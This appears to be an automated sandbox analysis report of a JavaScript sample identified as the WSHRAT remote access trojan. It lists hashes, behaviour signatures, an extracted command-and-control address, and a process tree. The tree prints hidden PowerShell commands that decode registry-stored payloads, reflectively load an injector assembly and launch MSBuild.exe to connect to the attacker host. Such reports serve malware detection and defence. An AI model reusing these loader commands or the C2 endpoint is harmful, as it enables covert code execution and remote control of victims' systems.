Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    14/10/2021, 10:12

General

  • Target

    ID-92164.js

  • Size

    1.0MB

  • MD5

    2e49ab9cb1bcc2aef854c4ea0f4172b9

  • SHA1

    9762fe64cdda7ca49f4247d8dd7497e8f6ef295e

  • SHA256

    f9490f2e724d5ca5edd30a552f09f27b59b608361143e95edcc3ef860958ea5e

  • SHA512

    3dfbbf4b7d3bd3091a3694319e9524baaf05b6db6c212fa73cbaf2df488a4aa104c057839434e7b766b8e2f603b94279d87f5139851516561397dd463c8f458f

Score
10/10

Malware Config

Extracted

Family

wshrat

C2

http://3laallah.myvnc.com:5555

Signatures

  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

  • Blocklisted process makes network request 26 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Script User-Agent 24 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ID-92164.js
    1⤵
    • Blocklisted process makes network request
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2416
    • C:\Windows\regedit.exe
      "regedit.exe" "C:\Users\Admin\AppData\Local\Temp\ebgeaegdbdecaedfebace.reg"
      2⤵
      • Runs .reg file with regedit
      PID:3248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:640
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mPluginC').mPluginC;$Cli555 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mRunPE').mRunPE;$Abt = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Cli555)).GetType('k.k.Hackitup').GetMethod('exe').Invoke($null,[object[]] ('MSBuild.exe',[Convert]::FromBase64String($Cli444),'3laallah.myvnc.com 5555 \"WSHRAT|A6E40E89|RSSLLXYN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 17/10/2021|JavaScript-v3.4|NL:Netherlands\" 1'));"
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:880
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        path 3laallah.myvnc.com 5555 "WSHRAT|A6E40E89|RSSLLXYN|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 17/10/2021|JavaScript-v3.4|NL:Netherlands" 1
        3⤵
        • Suspicious use of SetWindowsHookEx
        PID:1928

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/640-123-0x000001CEFCBE3000-0x000001CEFCBE5000-memory.dmp

    Filesize

    8KB

  • memory/640-127-0x000001CEFAC30000-0x000001CEFAC32000-memory.dmp

    Filesize

    8KB

  • memory/640-122-0x000001CEFAC30000-0x000001CEFAC32000-memory.dmp

    Filesize

    8KB

  • memory/640-121-0x000001CEFCBE0000-0x000001CEFCBE2000-memory.dmp

    Filesize

    8KB

  • memory/640-148-0x000001CEFCBE6000-0x000001CEFCBE8000-memory.dmp

    Filesize

    8KB

  • memory/640-124-0x000001CEFCB30000-0x000001CEFCB31000-memory.dmp

    Filesize

    4KB

  • memory/640-125-0x000001CEFAC30000-0x000001CEFAC32000-memory.dmp

    Filesize

    8KB

  • memory/640-120-0x000001CEFAC30000-0x000001CEFAC32000-memory.dmp

    Filesize

    8KB

  • memory/640-128-0x000001CEFAC30000-0x000001CEFAC32000-memory.dmp

    Filesize

    8KB

  • memory/640-129-0x000001CEFCFF0000-0x000001CEFCFF1000-memory.dmp

    Filesize

    4KB

  • memory/640-130-0x000001CEFAC30000-0x000001CEFAC32000-memory.dmp

    Filesize

    8KB

  • memory/640-138-0x000001CEFAC30000-0x000001CEFAC32000-memory.dmp

    Filesize

    8KB

  • memory/640-118-0x000001CEFAC30000-0x000001CEFAC32000-memory.dmp

    Filesize

    8KB

  • memory/640-119-0x000001CEFAC30000-0x000001CEFAC32000-memory.dmp

    Filesize

    8KB

  • memory/880-174-0x000001DCC09D0000-0x000001DCC09D2000-memory.dmp

    Filesize

    8KB

  • memory/880-183-0x000001DCC0CB0000-0x000001DCC0CB3000-memory.dmp

    Filesize

    12KB

  • memory/880-193-0x000001DCDAA86000-0x000001DCDAA88000-memory.dmp

    Filesize

    8KB

  • memory/880-186-0x000001DCC09D0000-0x000001DCC09D2000-memory.dmp

    Filesize

    8KB

  • memory/880-179-0x000001DCC09D0000-0x000001DCC09D2000-memory.dmp

    Filesize

    8KB

  • memory/880-177-0x000001DCDAA83000-0x000001DCDAA85000-memory.dmp

    Filesize

    8KB

  • memory/880-176-0x000001DCDAA80000-0x000001DCDAA82000-memory.dmp

    Filesize

    8KB

  • memory/880-175-0x000001DCC09D0000-0x000001DCC09D2000-memory.dmp

    Filesize

    8KB

  • memory/880-171-0x000001DCC09D0000-0x000001DCC09D2000-memory.dmp

    Filesize

    8KB

  • memory/880-169-0x000001DCC09D0000-0x000001DCC09D2000-memory.dmp

    Filesize

    8KB

  • memory/880-168-0x000001DCC09D0000-0x000001DCC09D2000-memory.dmp

    Filesize

    8KB

  • memory/880-166-0x000001DCC09D0000-0x000001DCC09D2000-memory.dmp

    Filesize

    8KB

  • memory/880-167-0x000001DCC09D0000-0x000001DCC09D2000-memory.dmp

    Filesize

    8KB

  • memory/1928-184-0x0000000000400000-0x000000000040E000-memory.dmp

    Filesize

    56KB

  • memory/1928-194-0x00000000057B0000-0x0000000005CAE000-memory.dmp

    Filesize

    5.0MB

  • memory/1928-192-0x0000000005760000-0x0000000005761000-memory.dmp

    Filesize

    4KB

  • memory/1928-191-0x00000000058D0000-0x00000000058D1000-memory.dmp

    Filesize

    4KB

  • memory/1928-190-0x00000000057B0000-0x00000000057B1000-memory.dmp

    Filesize

    4KB

  • memory/1928-189-0x0000000005CB0000-0x0000000005CB1000-memory.dmp

    Filesize

    4KB

  • memory/3964-149-0x00000188FFD80000-0x00000188FFD82000-memory.dmp

    Filesize

    8KB

  • memory/3964-142-0x00000188E7760000-0x00000188E7762000-memory.dmp

    Filesize

    8KB

  • memory/3964-143-0x00000188E7760000-0x00000188E7762000-memory.dmp

    Filesize

    8KB

  • memory/3964-150-0x00000188FFD83000-0x00000188FFD85000-memory.dmp

    Filesize

    8KB

  • memory/3964-141-0x00000188E7760000-0x00000188E7762000-memory.dmp

    Filesize

    8KB

  • memory/3964-146-0x00000188E7760000-0x00000188E7762000-memory.dmp

    Filesize

    8KB

  • memory/3964-164-0x00000188FFD86000-0x00000188FFD88000-memory.dmp

    Filesize

    8KB

  • memory/3964-152-0x00000188E7760000-0x00000188E7762000-memory.dmp

    Filesize

    8KB

  • memory/3964-153-0x00000188E7760000-0x00000188E7762000-memory.dmp

    Filesize

    8KB

  • memory/3964-155-0x00000188E7760000-0x00000188E7762000-memory.dmp

    Filesize

    8KB

  • memory/3964-144-0x00000188E7760000-0x00000188E7762000-memory.dmp

    Filesize

    8KB

  • memory/3964-163-0x00000188E7760000-0x00000188E7762000-memory.dmp

    Filesize

    8KB